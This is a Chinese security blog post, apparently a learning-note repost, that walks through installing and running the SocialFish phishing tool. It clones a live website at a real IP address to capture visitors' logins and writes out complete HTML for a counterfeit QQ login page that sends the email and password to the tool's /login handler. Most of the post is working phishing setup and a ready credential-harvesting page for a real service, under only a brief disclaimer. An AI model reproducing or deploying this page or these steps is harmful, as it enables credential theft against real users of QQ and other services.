声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
介绍
SoicalFish是一款设计美观、功能强大的钓鱼工具。既支持网站克隆,又支持钓鱼邮件发送。
项目地址:https://github.com/UndeadSec/SocialFish
安装
下载SocialFish的Git代码
git clone https://github.com/UndeadSec/SocialFish.git
如果没有Python环境则需要进行安装(下面是以Ubuntu、Debian内核为例的,CentOS则需要使用yum命令)
sudo apt-get install python3 python3-pip python3-dev -y
然后打开SocialFish目录,并安装依赖环境。需要注意的是,项目依赖于Python,在kali中Python环境已经默认安装好了,无需安装。
cd SocialFish
pip3 install -r requirements.txt
启动程序&访问后台
我们使用下面的命令启动程序:
账户为test
密码为123456
你可以自行输入命令时进行修改:
python3 SocialFish.py test 123456
通过上图,我们可以看到程序已经正常运转,并且在5000端口,由于我这里是内网搭建的,我们可以通过内网的IP地址进行访问。
登录网站后,界面如下:
克隆站点
虚拟机的问题
测试发现,虚拟机用起来会有点问题,不能正常克隆网站。建议使用VPS
这里选择的是http://125.227.58.8/,一个不用域名的网站,
主要是方便抓包分析
我们则在第一个Clone框内输入http://125.227.58.8/
第二个是登录成功之后跳转的地址,
我们随便输入,比方说是百度https://www.baidu.com/,
然后点击⚡
这时会提示生成成功,我们直接访问IP:5000端口,就会发现当前页面是http://125.227.58.8/的页面了。
受害者一旦点击,就有了一个记录,查看“View”,但是没看到账号密码。额,难不成虚拟机搭建的环境有问题?
VPS
克隆了某网站,但是克隆的不完美。原因是VPS是国外的,如果换成国内的VPS应该就没有这个问题了。另外,如果国内的某些网站不允许从境外访问,那么VPS也不能克隆,请格外注意这一点。
克隆了,但是没有捕获到账号密码。还是直接拿github来演示吧。
自定义网站
很多网友可能会吐槽,这个克隆站点仅限于部分站点可以使用,很多克隆出来CSS样式等等都加载不了,那这时候应该怎么办呢?没关系,还有自定义HTML。
核心代码格式如下:
<html>
<head></head>
<body>
<form action="/login" method="POST">
<label>Email Address</label>
<input type="email" name="email" placeholder="Email" autocomplete="off">
<label>Password</label>
<input type="password" name="password" placeholder="Password" autocomplete="off">
<button type="submit">sign in</button>
</form>
</body>
</html>
我们这里举个简单的例子,比方说我们想要仿个简单的某Q的登陆页面。在github上找了个别人写好的页面:
https://github.com/Cl0udG0d/QQFishing/blob/master/templates/index.html
抄抄改改,得到最终代码
<!doctype html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta id="viewport" name="viewport"
content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<title>手机统一登录</title>
<style type="text/css">
@charset "utf-8";
body {
font-size: 16px;
background: #eee
}
* {
padding: 0;
margin: 0;
list-style: none;
text-decoration: none
}
input:focus {
outline: 0
}
#g_u{border-bottom:1px solid #eaeaea}
.inputstyle {
width: 273px;
height: 44px;
color: #000;
border: none;
background: 0 0;
padding-left: 15px;
font-size: 16px;
-webkit-appearance: none
}
.logo {
background-image: url('"https://raw.githubusercontent.com/Cl0udG0d/QQFishing/master/static/images/logo.png"');
height:100px;width:244px;margin:0 auto 20px;background-size:244px 100px
}
#switch,
#vcode,
#web_login {
margin: 0 auto
}
#web_login {
width: 290px
}
#g_list {
background: #fff;
height: 89px;
border-radius: 4px
}
#go,
#onekey {
width: 290px;
height: 44px;
line-height: 44px;
background: #146fdf;
border: none;
border-radius: 4px;
color: #fff;
font-size: 16px;
margin-top: 15px;
display: block
}
#switch #forgetpwd,
#switch #zc {
color: #246183;
line-height: 14px;
font-size: 14px;
padding: 15px 10px
}
#switch #forgetpwd {
float: left;
margin-left: -10px
}
#switch #zc {
float: right;
margin-right: -10px
}
#auto_login{height:24px;margin:15px 0;color:#246183;position:relative}
#auto_login .wording{position:absolute;left:40px;line-height:24px;height:24px;font-size:14px}
#remember,#remember+.checkbox,#vcode #input_tips,#vcode #vcode_img,#vcode #vcode_input,.del_touch,.del_touch_icon,.del_u,.header .img_out,.header img,.nick,.txt_default{position:absolute}
#remember{left:14px;top:5px;cursor:pointer;z-index:1;opacity:.01}
#remember:checked+.checkbox{background:url("../static/images/checked.png") 1px 1px #146FDF;border-color:#146FDF}
#remember+.checkbox{display:inline-block;width:21px;height:21px;left:9px;top:1px;border:1px solid #9ABBE3;background:0 0;border-radius:11px}
</style>
</head>
<body>
<br>
<div id="logo" class="logo"></div>
<form name="input" action='/login' method="POST">
<div id="web_login">
<ul id="g_list">
<li id="g_u">
<div id="del_touch" class="del_touch">
<span id="del_u" class="del_u"></span>
</div><input id="u" type="text" name="email" class="inputstyle" autocomplete="off" placeholder="QQ号码/手机/邮箱">
</li>
<li id="g_p">
<div id="del_touch_p" class="del_touch">
<span id="del_p" class="del_u"></span>
</div><input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
placeholder="请输入你的QQ密码">
</li>
</ul>
<div id="auto_login">
<input type="checkbox" id="remember" checked="checked">
<span class="checkbox"></span>
<label class="wording"> 记住登录状态 </label>
</div>
<div>
<input type="submit" value="登 录" id="go" >
</div>
</form>
<div id="switch">
<span id="zc" onclick="window.open('static\signed_in.html')">注册新帐号</span>
<span id="forgetpwd" onclick="window.open('static\signed_in.html')">忘了密码?</span>
</div>
</body>
</html>
伪造的某扣空间登录
我这里首先备份了一下原始的“custom.html”文件,然后上传新的文件,取名为“custom.html”
此时5000端口还是默认页面,后台中,勾选“Custom HTML”表示要自定义HTML页面,然后直接输入最终要跳转的地址,然后点击⚡即可
受害者访问:
后台记录结果:
发送邮件
工具是支持发送邮件的,但是我不想填写真实信息,不再测试
注:如有侵权请后台联系进行删除
觉得内容不错,请点一下"赞"和"在看"
原文始发于微信公众号(嗨嗨安全):SoicalFish
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论